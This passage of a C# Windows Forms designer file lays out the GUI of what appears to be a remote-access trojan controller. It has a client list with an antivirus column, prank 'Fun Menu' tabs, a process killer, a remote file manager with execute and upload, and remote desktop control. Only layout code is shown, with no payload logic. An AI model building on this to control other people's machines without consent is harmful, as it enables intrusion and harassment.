51 | this.richTextBox1 = new System.Windows.Forms.RichTextBox();
52 | this.label11 = new System.Windows.Forms.Label();
53 | this.button5 = new System.Windows.Forms.Button();
54 | this.comboBox3 = new System.Windows.Forms.ComboBox();
55 | this.label10 = new System.Windows.Forms.Label();
56 | this.button4 = new System.Windows.Forms.Button();
57 | this.button3 = new System.Windows.Forms.Button();
58 | this.textBox3 = new System.Windows.Forms.TextBox();
59 | this.label9 = new System.Windows.Forms.Label();
60 | this.label8 = new System.Windows.Forms.Label();
61 | this.label7 = new System.Windows.Forms.Label();
62 | this.label6 = new System.Windows.Forms.Label();
63 | this.label5 = new System.Windows.Forms.Label();
64 | this.label4 = new System.Windows.Forms.Label();
65 | this.comboBox2 = new System.Windows.Forms.ComboBox();
66 | this.comboBox1 = new System.Windows.Forms.ComboBox();
67 | this.textBox2 = new System.Windows.Forms.TextBox();
68 | this.textBox1 = new System.Windows.Forms.TextBox();
69 | this.label3 = new System.Windows.Forms.Label();
70 | this.tabPage3 = new System.Windows.Forms.TabPage();
71 | this.button13 = new System.Windows.Forms.Button();
72 | this.button12 = new System.Windows.Forms.Button();
73 | this.label14 = new System.Windows.Forms.Label();
74 | this.button11 = new System.Windows.Forms.Button();
75 | this.button10 = new System.Windows.Forms.Button();
76 | this.button9 = new System.Windows.Forms.Button();
77 | this.button8 = new System.Windows.Forms.Button();
78 | this.button7 = new System.Windows.Forms.Button();
79 | this.label13 = new System.Windows.Forms.Label();
80 | this.tabPage4 = new System.Windows.Forms.TabPage();
81 | this.button14 = new System.Windows.Forms.Button();
82 | this.comboBox4 = new System.Windows.Forms.ComboBox();
83 | this.textBox4 = new System.Windows.Forms.TextBox();
84 | this.label17 = new System.Windows.Forms.Label();
85 | this.label16 = new System.Windows.Forms.Label();
86 | this.label15 = new System.Windows.Forms.Label();
87 | this.listView2 = new System.Windows.Forms.ListView();
88 | this.columnHeader6 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
89 | this.columnHeader7 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
90 | this.columnHeader8 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
91 | this.columnHeader9 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
92 | this.columnHeader10 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
93 | this.columnHeader11 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
94 | this.contextMenuStrip2 = new System.Windows.Forms.ContextMenuStrip(this.components);
95 | this.killToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
96 | this.refreshToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem();
97 | this.tabPage5 = new System.Windows.Forms.TabPage();
98 | this.textBox5 = new System.Windows.Forms.TextBox();
99 | this.richTextBox2 = new System.Windows.Forms.RichTextBox();
100 | this.button15 = new System.Windows.Forms.Button();
101 | this.tabPage6 = new System.Windows.Forms.TabPage();
102 | this.listView3 = new System.Windows.Forms.ListView();
103 | this.columnHeader12 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
104 | this.columnHeader13 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
105 | this.columnHeader14 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
106 | this.columnHeader15 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
107 | this.contextMenuStrip3 = new System.Windows.Forms.ContextMenuStrip(this.components);
108 | this.listDrivesToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
109 | this.enterDirectoryToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
110 | this.toolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem();
111 | this.moveToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
112 | this.copyToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
113 | this.pasteToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
114 | this.currentDirectoryToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
115 | this.selectedDirectoryToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
116 | this.executeToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
117 | this.uploadToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
118 | this.currentDirectoryToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem();
119 | this.selectedDirectoryToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem();
120 | this.downloadToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
121 | this.editToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
122 | this.attributesToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
123 | this.hideToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
124 | this.showToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
125 | this.deleteToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
126 | this.renameToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
127 | this.newToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
128 | this.fileToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
129 | this.directoryToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
130 | this.tabPage7 = new System.Windows.Forms.TabPage();
131 | this.button19 = new System.Windows.Forms.Button();
132 | this.button18 = new System.Windows.Forms.Button();
133 | this.button17 = new System.Windows.Forms.Button();
134 | this.button16 = new System.Windows.Forms.Button();
135 | this.richTextBox3 = new System.Windows.Forms.RichTextBox();
136 | this.tabPage8 = new System.Windows.Forms.TabPage();
137 | this.lblQualityShow = new System.Windows.Forms.Label();
138 | this.lblChooseScreen = new System.Windows.Forms.Label();
139 | this.cmboChooseScreen = new System.Windows.Forms.ComboBox();
140 | this.btnCountScreens = new System.Windows.Forms.Button();
141 | this.btnStartTaskManager = new System.Windows.Forms.Button();
142 | this.txtBControlKeyboard = new System.Windows.Forms.TextBox();
143 | this.label34 = new System.Windows.Forms.Label();
144 | this.trackBar1 = new System.Windows.Forms.TrackBar();
145 | this.btnFullScreenMode = new System.Windows.Forms.Button();
146 | this.checkBoxrKeyboard = new System.Windows.Forms.CheckBox();
147 | this.checkBoxrMouse = new System.Windows.Forms.CheckBox();
148 | this.button22 = new System.Windows.Forms.Button();
149 | this.button21 = new System.Windows.Forms.Button();
150 | this.pictureBox1 = new System.Windows.Forms.PictureBox();
151 | this.tabPage9 = new System.Windows.Forms.TabPage();
152 | this.button25 = new System.Windows.Forms.Button();
153 | this.listView4 = new System.Windows.Forms.ListView();
154 | this.columnHeader16 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
155 | this.columnHeader17 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
156 | this.button24 = new System.Windows.Forms.Button();
157 | this.tabPage10 = new System.Windows.Forms.TabPage();
158 | this.button27 = new System.Windows.Forms.Button();
159 | this.button26 = new System.Windows.Forms.Button();
160 | this.listView5 = new System.Windows.Forms.ListView();
161 | this.columnHeader18 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
162 | this.columnHeader19 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
163 | this.pictureBox2 = new System.Windows.Forms.PictureBox();
164 | this.tabPage11 = new System.Windows.Forms.TabPage();
165 | this.button30 = new System.Windows.Forms.Button();
166 | this.button29 = new System.Windows.Forms.Button();
167 | this.button28 = new System.Windows.Forms.Button();
168 | this.groupBox2 = new System.Windows.Forms.GroupBox();
169 | this.numericUpDown4 = new System.Windows.Forms.NumericUpDown();
170 | this.numericUpDown3 = new System.Windows.Forms.NumericUpDown();
171 | this.checkBox3 = new System.Windows.Forms.CheckBox();
172 | this.label25 = new System.Windows.Forms.Label();
173 | this.label26 = new System.Windows.Forms.Label();
174 | this.groupBox1 = new System.Windows.Forms.GroupBox();
175 | this.numericUpDown2 = new System.Windows.Forms.NumericUpDown();
176 | this.comboBox5 = new System.Windows.Forms.ComboBox();
177 | this.numericUpDown1 = new System.Windows.Forms.NumericUpDown();
178 | this.textBox6 = new System.Windows.Forms.TextBox();
179 | this.label22 = new System.Windows.Forms.Label();
180 | this.label21 = new System.Windows.Forms.Label();
181 | this.label20 = new System.Windows.Forms.Label();
182 | this.label19 = new System.Windows.Forms.Label();
183 | this.label18 = new System.Windows.Forms.Label();
184 | this.tabPage12 = new System.Windows.Forms.TabPage();
185 | this.button32 = new System.Windows.Forms.Button();
186 | this.button31 = new System.Windows.Forms.Button();
187 | this.label23 = new System.Windows.Forms.Label();
188 | this.listView6 = new System.Windows.Forms.ListView();
189 | this.columnHeader20 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
190 | this.columnHeader21 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
191 | this.columnHeader22 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
192 | this.tabPage13 = new System.Windows.Forms.TabPage();
193 | this.label36 = new System.Windows.Forms.Label();
194 | this.progressBar1 = new System.Windows.Forms.ProgressBar();
195 | this.button23 = new System.Windows.Forms.Button();
196 | this.comboBox7 = new System.Windows.Forms.ComboBox();
197 | this.label35 = new System.Windows.Forms.Label();
198 | this.button20 = new System.Windows.Forms.Button();
199 | this.button33 = new System.Windows.Forms.Button();
200 | this.label27 = new System.Windows.Forms.Label();
201 | this.tabPage14 = new System.Windows.Forms.TabPage();
202 | this.button34 = new System.Windows.Forms.Button();
203 | this.label28 = new System.Windows.Forms.Label();
204 | this.tabPage15 = new System.Windows.Forms.TabPage();
205 | this.button39 = new System.Windows.Forms.Button();
206 | this.button38 = new System.Windows.Forms.Button();
207 | this.button37 = new System.Windows.Forms.Button();
208 | this.button36 = new System.Windows.Forms.Button();
209 | this.button35 = new System.Windows.Forms.Button();
210 | this.comboBox6 = new System.Windows.Forms.ComboBox();
211 | this.label33 = new System.Windows.Forms.Label();
212 | this.label32 = new System.Windows.Forms.Label();
213 | this.label31 = new System.Windows.Forms.Label();
214 | this.label30 = new System.Windows.Forms.Label();
215 | this.label29 = new System.Windows.Forms.Label();
216 | this.listBox1 = new System.Windows.Forms.ListBox();
217 | this.tabControl1.SuspendLayout();
218 | this.tabPage1.SuspendLayout();
219 | this.tabPage2.SuspendLayout();
220 | this.tabPage3.SuspendLayout();
221 | this.tabPage4.SuspendLayout();
222 | this.contextMenuStrip2.SuspendLayout();
223 | this.tabPage5.SuspendLayout();
224 | this.tabPage6.SuspendLayout();
225 | this.contextMenuStrip3.SuspendLayout();
226 | this.tabPage7.SuspendLayout();
227 | this.tabPage8.SuspendLayout();
228 | ((System.ComponentModel.ISupportInitialize)(this.trackBar1)).BeginInit();
229 | ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit();
230 | this.tabPage9.SuspendLayout();
231 | this.tabPage10.SuspendLayout();
232 | ((System.ComponentModel.ISupportInitialize)(this.pictureBox2)).BeginInit();
233 | this.tabPage11.SuspendLayout();
234 | this.groupBox2.SuspendLayout();
235 | ((System.ComponentModel.ISupportInitialize)(this.numericUpDown4)).BeginInit();
236 | ((System.ComponentModel.ISupportInitialize)(this.numericUpDown3)).BeginInit();
237 | this.groupBox1.SuspendLayout();
238 | ((System.ComponentModel.ISupportInitialize)(this.numericUpDown2)).BeginInit();
239 | ((System.ComponentModel.ISupportInitialize)(this.numericUpDown1)).BeginInit();
240 | this.tabPage12.SuspendLayout();
241 | this.tabPage13.SuspendLayout();
242 | this.tabPage14.SuspendLayout();
243 | this.tabPage15.SuspendLayout();
244 | this.SuspendLayout();
245 | //
246 | // tabControl1
247 | //
248 | this.tabControl1.Controls.Add(this.tabPage1);
249 | this.tabControl1.Controls.Add(this.tabPage2);
250 | this.tabControl1.Controls.Add(this.tabPage3);
251 | this.tabControl1.Controls.Add(this.tabPage4);
252 | this.tabControl1.Controls.Add(this.tabPage5);
253 | this.tabControl1.Controls.Add(this.tabPage6);
254 | this.tabControl1.Controls.Add(this.tabPage7);
255 | this.tabControl1.Controls.Add(this.tabPage8);
256 | this.tabControl1.Controls.Add(this.tabPage9);
257 | this.tabControl1.Controls.Add(this.tabPage10);
258 | this.tabControl1.Controls.Add(this.tabPage11);
259 | this.tabControl1.Controls.Add(this.tabPage12);
260 | this.tabControl1.Controls.Add(this.tabPage13);
261 | this.tabControl1.Controls.Add(this.tabPage14);
262 | this.tabControl1.Controls.Add(this.tabPage15);
263 | this.tabControl1.Dock = System.Windows.Forms.DockStyle.Fill;
264 | this.tabControl1.Location = new System.Drawing.Point(0, 0);
265 | this.tabControl1.Name = "tabControl1";
266 | this.tabControl1.SelectedIndex = 0;
267 | this.tabControl1.Size = new System.Drawing.Size(909, 576);
268 | this.tabControl1.TabIndex = 0;
269 | this.tabControl1.Click += new System.EventHandler(this.tabControl1_Click);
270 | //
271 | // tabPage1
272 | //
273 | this.tabPage1.Controls.Add(this.label24);
274 | this.tabPage1.Controls.Add(this.label2);
275 | this.tabPage1.Controls.Add(this.button2);
276 | this.tabPage1.Controls.Add(this.listView1);
277 | this.tabPage1.Controls.Add(this.button1);
278 | this.tabPage1.Controls.Add(this.label1);
279 | this.tabPage1.Location = new System.Drawing.Point(4, 22);
280 | this.tabPage1.Name = "tabPage1";
281 | this.tabPage1.Padding = new System.Windows.Forms.Padding(3);
282 | this.tabPage1.Size = new System.Drawing.Size(901, 550);
283 | this.tabPage1.TabIndex = 0;
284 | this.tabPage1.Text = "Setup";
285 | this.tabPage1.UseVisualStyleBackColor = true;
286 | //
287 | // label24
288 | //
289 | this.label24.AutoSize = true;
290 | this.label24.Location = new System.Drawing.Point(21, 57);
291 | this.label24.Name = "label24";
292 | this.label24.Size = new System.Drawing.Size(70, 13);
293 | this.label24.TabIndex = 6;
294 | this.label24.Text = "Live Updates";
295 | //
296 | // label2
297 | //
298 | this.label2.AutoSize = true;
299 | this.label2.Font = new System.Drawing.Font("Microsoft Sans Serif", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(238)));
300 | this.label2.Location = new System.Drawing.Point(557, 178);
301 | this.label2.Name = "label2";
302 | this.label2.Size = new System.Drawing.Size(81, 20);
303 | this.label2.TabIndex = 4;
304 | this.label2.Text = "Client Info";
305 | //
306 | // button2
307 | //
308 | this.button2.Location = new System.Drawing.Point(557, 134);
309 | this.button2.Name = "button2";
310 | this.button2.Size = new System.Drawing.Size(156, 23);
311 | this.button2.TabIndex = 3;
312 | this.button2.Text = "Control Selected Servers";
313 | this.button2.UseVisualStyleBackColor = true;
314 | this.button2.Click += new System.EventHandler(this.button2_Click);
315 | //
316 | // listView1
317 | //
318 | this.listView1.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] {
319 | this.columnHeader1,
320 | this.columnHeader2,
321 | this.columnHeader3,
322 | this.columnHeader4,
323 | this.columnHeader5});
324 | this.listView1.FullRowSelect = true;
325 | this.listView1.GridLines = true;
326 | this.listView1.Location = new System.Drawing.Point(10, 105);
327 | this.listView1.MultiSelect = false;
328 | this.listView1.Name = "listView1";
329 | this.listView1.Size = new System.Drawing.Size(541, 384);
330 | this.listView1.TabIndex = 2;
331 | this.listView1.UseCompatibleStateImageBehavior = false;
332 | this.listView1.View = System.Windows.Forms.View.Details;
333 | this.listView1.SelectedIndexChanged += new System.EventHandler(this.listView1_SelectedIndexChanged);
334 | //
335 | // columnHeader1
336 | //
337 | this.columnHeader1.Text = "Client ID";
338 | //
339 | // columnHeader2
340 | //
341 | this.columnHeader2.Text = "Pc Name";
342 | this.columnHeader2.Width = 113;
343 | //
344 | // columnHeader3
345 | //
346 | this.columnHeader3.Text = "Lan IP";
347 | this.columnHeader3.Width = 115;
348 | //
349 | // columnHeader4
350 | //
351 | this.columnHeader4.Text = "Time";
352 | this.columnHeader4.Width = 123;
353 | //
354 | // columnHeader5
355 | //
356 | this.columnHeader5.Text = "AV";
357 | this.columnHeader5.Width = 116;
358 | //
359 | // button1
360 | //
361 | this.button1.Location = new System.Drawing.Point(201, 20);
362 | this.button1.Name = "button1";
363 | this.button1.Size = new System.Drawing.Size(134, 23);
364 | this.button1.TabIndex = 1;
365 | this.button1.Text = "Start Server";
366 | this.button1.UseVisualStyleBackColor = true;
367 | this.button1.Click += new System.EventHandler(this.button1_Click);
368 | //
369 | // label1
370 | //
371 | this.label1.AutoSize = true;
372 | this.label1.Font = new System.Drawing.Font("Microsoft Sans Serif", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(238)));
373 | this.label1.Location = new System.Drawing.Point(6, 20);
374 | this.label1.Name = "label1";
375 | this.label1.Size = new System.Drawing.Size(106, 20);
376 | this.label1.TabIndex = 0;
377 | this.label1.Text = "Server Status";
378 | //
379 | // tabPage2
380 | //
381 | this.tabPage2.Controls.Add(this.button6);
382 | this.tabPage2.Controls.Add(this.label12);
383 | this.tabPage2.Controls.Add(this.richTextBox1);
384 | this.tabPage2.Controls.Add(this.label11);
385 | this.tabPage2.Controls.Add(this.button5);
386 | this.tabPage2.Controls.Add(this.comboBox3);
387 | this.tabPage2.Controls.Add(this.label10);
388 | this.tabPage2.Controls.Add(this.button4);
389 | this.tabPage2.Controls.Add(this.button3);
390 | this.tabPage2.Controls.Add(this.textBox3);
391 | this.tabPage2.Controls.Add(this.label9);
392 | this.tabPage2.Controls.Add(this.label8);
393 | this.tabPage2.Controls.Add(this.label7);
394 | this.tabPage2.Controls.Add(this.label6);
395 | this.tabPage2.Controls.Add(this.label5);
396 | this.tabPage2.Controls.Add(this.label4);
397 | this.tabPage2.Controls.Add(this.comboBox2);
398 | this.tabPage2.Controls.Add(this.comboBox1);
399 | this.tabPage2.Controls.Add(this.textBox2);
400 | this.tabPage2.Controls.Add(this.textBox1);
401 | this.tabPage2.Controls.Add(this.label3);
402 | this.tabPage2.Location = new System.Drawing.Point(4, 22);
403 | this.tabPage2.Name = "tabPage2";
404 | this.tabPage2.Padding = new System.Windows.Forms.Padding(3);
405 | this.tabPage2.Size = new System.Drawing.Size(901, 550);
406 | this.tabPage2.TabIndex = 1;
407 | this.tabPage2.Text = "Fun Menu";
408 | this.tabPage2.UseVisualStyleBackColor = true;
409 | //
410 | // button6
411 | //
412 | this.button6.Location = new System.Drawing.Point(610, 322);
413 | this.button6.Name = "button6";
414 | this.button6.Size = new System.Drawing.Size(100, 23);
415 | this.button6.TabIndex = 20;
416 | this.button6.Text = "Start Speak";
417 | this.button6.UseVisualStyleBackColor = true;
418 | this.button6.Click += new System.EventHandler(this.button6_Click);
419 | //
420 | // label12
421 | //
422 | this.label12.AutoSize = true;
423 | this.label12.Location = new System.Drawing.Point(437, 118);
424 | this.label12.Name = "label12";
425 | this.label12.Size = new System.Drawing.Size(28, 13);
426 | this.label12.TabIndex = 19;
427 | this.label12.Text = "Text";
428 | //
429 | // richTextBox1
430 | //
431 | this.richTextBox1.Location = new System.Drawing.Point(471, 115);
432 | this.richTextBox1.Name = "richTextBox1";
433 | this.richTextBox1.Size = new System.Drawing.Size(374, 201);
434 | this.richTextBox1.TabIndex = 18;
435 | this.richTextBox1.Text = "";
436 | //
437 | // label11
438 | //
439 | this.label11.AutoSize = true;
440 | this.label11.Location = new System.Drawing.Point(414, 84);
441 | this.label11.Name = "label11";
442 | this.label11.Size = new System.Drawing.Size(130, 13);
443 | this.label11.TabIndex = 17;
444 | this.label11.Text = "Microsoft Text To Speech";
445 | //
446 | // button5
447 | //
448 | this.button5.Location = new System.Drawing.Point(664, 38);
449 | this.button5.Name = "button5";
450 | this.button5.Size = new System.Drawing.Size(75, 23);
451 | this.button5.TabIndex = 16;
452 | this.button5.Text = "Play";
453 | this.button5.UseVisualStyleBackColor = true;
454 | this.button5.Click += new System.EventHandler(this.button5_Click);
455 | //
456 | // comboBox3
457 | //
458 | this.comboBox3.FormattingEnabled = true;
459 | this.comboBox3.Items.AddRange(new object[] {
460 | "Error",
461 | "Warning",
462 | "Information",
463 | "Beep"});
464 | this.comboBox3.Location = new System.Drawing.Point(471, 40);
465 | this.comboBox3.Name = "comboBox3";
466 | this.comboBox3.Size = new System.Drawing.Size(176, 21);
467 | this.comboBox3.TabIndex = 15;
468 | //
469 | // label10
470 | //
471 | this.label10.AutoSize = true;
472 | this.label10.Location = new System.Drawing.Point(414, 12);
473 | this.label10.Name = "label10";
474 | this.label10.Size = new System.Drawing.Size(103, 13);
475 | this.label10.TabIndex = 14;
476 | this.label10.Text = "Play System Sounds";
477 | //
478 | // button4
479 | //
480 | this.button4.Location = new System.Drawing.Point(153, 348);
481 | this.button4.Name = "button4";
482 | this.button4.Size = new System.Drawing.Size(75, 23);
483 | this.button4.TabIndex = 13;
484 | this.button4.Text = "Play";
485 | this.button4.UseVisualStyleBackColor = true;
486 | this.button4.Click += new System.EventHandler(this.button4_Click);
487 | //
488 | // button3
489 | //
490 | this.button3.Location = new System.Drawing.Point(129, 197);
491 | this.button3.Name = "button3";
492 | this.button3.Size = new System.Drawing.Size(75, 23);
493 | this.button3.TabIndex = 12;
494 | this.button3.Text = "Post";
495 | this.button3.UseVisualStyleBackColor = true;
496 | this.button3.Click += new System.EventHandler(this.button3_Click);
497 | //
498 | // textBox3
499 | //
500 | this.textBox3.Location = new System.Drawing.Point(89, 296);
501 | this.textBox3.Name = "textBox3";
502 | this.textBox3.Size = new System.Drawing.Size(232, 20);
503 | this.textBox3.TabIndex = 11;
504 | //
505 | // label9
506 | //
507 | this.label9.AutoSize = true;
508 | this.label9.Location = new System.Drawing.Point(20, 299);
509 | this.label9.Name = "label9";
510 | this.label9.Size = new System.Drawing.Size(57, 13);
511 | this.label9.TabIndex = 10;
512 | this.label9.Text = "Frequency";
513 | //
514 | // label8
515 | //
516 | this.label8.AutoSize = true;
517 | this.label8.Location = new System.Drawing.Point(8, 257);
518 | this.label8.Name = "label8";
519 | this.label8.Size = new System.Drawing.Size(80, 13);
520 | this.label8.TabIndex = 9;
521 | this.label8.Text = "Play Frequency";
522 | //
523 | // label7
524 | //
525 | this.label7.AutoSize = true;
526 | this.label7.Location = new System.Drawing.Point(19, 147);
527 | this.label7.Name = "label7";
528 | this.label7.Size = new System.Drawing.Size(43, 13);
529 | this.label7.TabIndex = 8;
530 | this.label7.Text = "Buttons";
531 | //
532 | // label6
533 | //
534 | this.label6.AutoSize = true;
535 | this.label6.Location = new System.Drawing.Point(19, 115);
536 | this.label6.Name = "label6";
537 | this.label6.Size = new System.Drawing.Size(28, 13);
538 | this.label6.TabIndex = 7;
539 | this.label6.Text = "Icon";
540 | //
541 | // label5
542 | //
543 | this.label5.AutoSize = true;
544 | this.label5.Location = new System.Drawing.Point(19, 80);
545 | this.label5.Name = "label5";
546 | this.label5.Size = new System.Drawing.Size(28, 13);
547 | this.label5.TabIndex = 6;
548 | this.label5.Text = "Text";
549 | //
550 | // label4
551 | //
552 | this.label4.AutoSize = true;
553 | this.label4.Location = new System.Drawing.Point(19, 44);
554 | this.label4.Name = "label4";
555 | this.label4.Size = new System.Drawing.Size(27, 13);
556 | this.label4.TabIndex = 5;
557 | this.label4.Text = "Title";
558 | //
559 | // comboBox2
560 | //
561 | this.comboBox2.FormattingEnabled = true;
562 | this.comboBox2.Items.AddRange(new object[] {
563 | "Ok",
564 | "Yes No",
565 | "Ok Cancel",
566 | "Abort Retry Ignore",
567 | "Yes No Cancel"});
568 | this.comboBox2.Location = new System.Drawing.Point(89, 139);
569 | this.comboBox2.Name = "comboBox2";
570 | this.comboBox2.Size = new System.Drawing.Size(232, 21);
571 | this.comboBox2.TabIndex = 4;
572 | //
573 | // comboBox1
574 | //
575 | this.comboBox1.FormattingEnabled = true;
576 | this.comboBox1.Items.AddRange(new object[] {
577 | "Error",
578 | "Warning",
579 | "Information",
580 | "Question",
581 | "None"});
582 | this.comboBox1.Location = new System.Drawing.Point(89, 112);
583 | this.comboBox1.Name = "comboBox1";
584 | this.comboBox1.Size = new System.Drawing.Size(232, 21);
585 | this.comboBox1.TabIndex = 3;
586 | //
587 | // textBox2
588 | //
589 | this.textBox2.Location = new System.Drawing.Point(89, 77);
590 | this.textBox2.Name = "textBox2";
591 | this.textBox2.Size = new System.Drawing.Size(232, 20);
592 | this.textBox2.TabIndex = 2;
593 | //
594 | // textBox1
595 | //
596 | this.textBox1.Location = new System.Drawing.Point(89, 41);
597 | this.textBox1.Name = "textBox1";
598 | this.textBox1.Size = new System.Drawing.Size(232, 20);
599 | this.textBox1.TabIndex = 1;
600 | //
601 | // label3
602 | //
603 | this.label3.AutoSize = true;
604 | this.label3.Location = new System.Drawing.Point(6, 12);
605 | this.label3.Name = "label3";
606 | this.label3.Size = new System.Drawing.Size(71, 13);
607 | this.label3.TabIndex = 0;
608 | this.label3.Text = "Message Box";
609 | //
610 | // tabPage3
611 | //
612 | this.tabPage3.Controls.Add(this.button13);
613 | this.tabPage3.Controls.Add(this.button12);
614 | this.tabPage3.Controls.Add(this.label14);
615 | this.tabPage3.Controls.Add(this.button11);
616 | this.tabPage3.Controls.Add(this.button10);
617 | this.tabPage3.Controls.Add(this.button9);
618 | this.tabPage3.Controls.Add(this.button8);
619 | this.tabPage3.Controls.Add(this.button7);
620 | this.tabPage3.Controls.Add(this.label13);
621 | this.tabPage3.Location = new System.Drawing.Point(4, 22);
622 | this.tabPage3.Name = "tabPage3";
623 | this.tabPage3.Size = new System.Drawing.Size(901, 550);
624 | this.tabPage3.TabIndex = 2;
625 | this.tabPage3.Text = "Fun Menu 2";
626 | this.tabPage3.UseVisualStyleBackColor = true;
627 | //
628 | // button13
629 | //
630 | this.button13.Location = new System.Drawing.Point(597, 49);
631 | this.button13.Name = "button13";
632 | this.button13.Size = new System.Drawing.Size(75, 23);
633 | this.button13.TabIndex = 8;
634 | this.button13.Text = "Close";
635 | this.button13.UseVisualStyleBackColor = true;
636 | this.button13.Click += new System.EventHandler(this.button13_Click);
637 | //
638 | // button12
639 | //
640 | this.button12.Location = new System.Drawing.Point(472, 49);
641 | this.button12.Name = "button12";
642 | this.button12.Size = new System.Drawing.Size(75, 23);
643 | this.button12.TabIndex = 7;
644 | this.button12.Text = "Open";
645 | this.button12.UseVisualStyleBackColor = true;
646 | this.button12.Click += new System.EventHandler(this.button12_Click);
647 | //
648 | // label14
649 | //
650 | this.label14.AutoSize = true;
651 | this.label14.Location = new System.Drawing.Point(441, 16);
652 | this.label14.Name = "label14";
653 | this.label14.Size = new System.Drawing.Size(46, 13);
654 | this.label14.TabIndex = 6;
655 | this.label14.Text = "CD Tray";
656 | //
657 | // button11
658 | //
659 | this.button11.Location = new System.Drawing.Point(97, 302);
660 | this.button11.Name = "button11";
661 | this.button11.Size = new System.Drawing.Size(203, 23);
662 | this.button11.TabIndex = 5;
663 | this.button11.Text = "Start Menu: Visible";
664 | this.button11.UseVisualStyleBackColor = true;
665 | this.button11.Click += new System.EventHandler(this.button11_Click);
666 | //
667 | // button10
668 | //
669 | this.button10.Location = new System.Drawing.Point(97, 252);
670 | this.button10.Name = "button10";
671 | this.button10.Size = new System.Drawing.Size(203, 23);
672 | this.button10.TabIndex = 4;
673 | this.button10.Text = "Tray Icons: Visible";
674 | this.button10.UseVisualStyleBackColor = true;
675 | this.button10.Click += new System.EventHandler(this.button10_Click);
676 | //
677 | // button9
678 | //
679 | this.button9.Location = new System.Drawing.Point(97, 200);
680 | this.button9.Name = "button9";
681 | this.button9.Size = new System.Drawing.Size(203, 23);
682 | this.button9.TabIndex = 3;
683 | this.button9.Text = "Desktop Icons: Visible";
684 | this.button9.UseVisualStyleBackColor = true;
685 | this.button9.Click += new System.EventHandler(this.button9_Click);
686 | //
687 | // button8
688 | //
689 | this.button8.Location = new System.Drawing.Point(97, 148);
690 | this.button8.Name = "button8";
691 | this.button8.Size = new System.Drawing.Size(203, 23);
692 | this.button8.TabIndex = 2;
693 | this.button8.Text = "Task Bar: Visible";
694 | this.button8.UseVisualStyleBackColor = true;
695 | this.button8.Click += new System.EventHandler(this.button8_Click);
696 | //
697 | // button7
698 | //
699 | this.button7.Location = new System.Drawing.Point(97, 97);
700 | this.button7.Name = "button7";
701 | this.button7.Size = new System.Drawing.Size(203, 23);
702 | this.button7.TabIndex = 1;
703 | this.button7.Text = "Clock: Visible";
704 | this.button7.UseVisualStyleBackColor = true;
705 | this.button7.Click += new System.EventHandler(this.button7_Click);
706 | //
707 | // label13
708 | //
709 | this.label13.AutoSize = true;
710 | this.label13.Location = new System.Drawing.Point(8, 16);
711 | this.label13.Name = "label13";
712 | this.label13.Size = new System.Drawing.Size(97, 13);
713 | this.label13.TabIndex = 0;
714 | this.label13.Text = "Windows Elements";
715 | //
716 | // tabPage4
717 | //
718 | this.tabPage4.Controls.Add(this.button14);
719 | this.tabPage4.Controls.Add(this.comboBox4);
720 | this.tabPage4.Controls.Add(this.textBox4);
721 | this.tabPage4.Controls.Add(this.label17);
722 | this.tabPage4.Controls.Add(this.label16);
723 | this.tabPage4.Controls.Add(this.label15);
724 | this.tabPage4.Controls.Add(this.listView2);
725 | this.tabPage4.Location = new System.Drawing.Point(4, 22);
726 | this.tabPage4.Name = "tabPage4";
727 | this.tabPage4.Size = new System.Drawing.Size(901, 550);
728 | this.tabPage4.TabIndex = 3;
729 | this.tabPage4.Text = "Processes";
730 | this.tabPage4.UseVisualStyleBackColor = true;
731 | //
732 | // button14
733 | //
734 | this.button14.Location = new System.Drawing.Point(425, 458);
735 | this.button14.Name = "button14";
